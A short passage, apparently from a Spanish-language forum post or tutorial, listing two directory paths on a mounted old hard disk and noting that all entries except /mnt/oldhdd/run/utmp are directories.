/mnt/oldhdd/media
/mnt/oldhdd/tmp
Como ven a excepción de /mnt/oldhdd/run/utmp todos son directorios.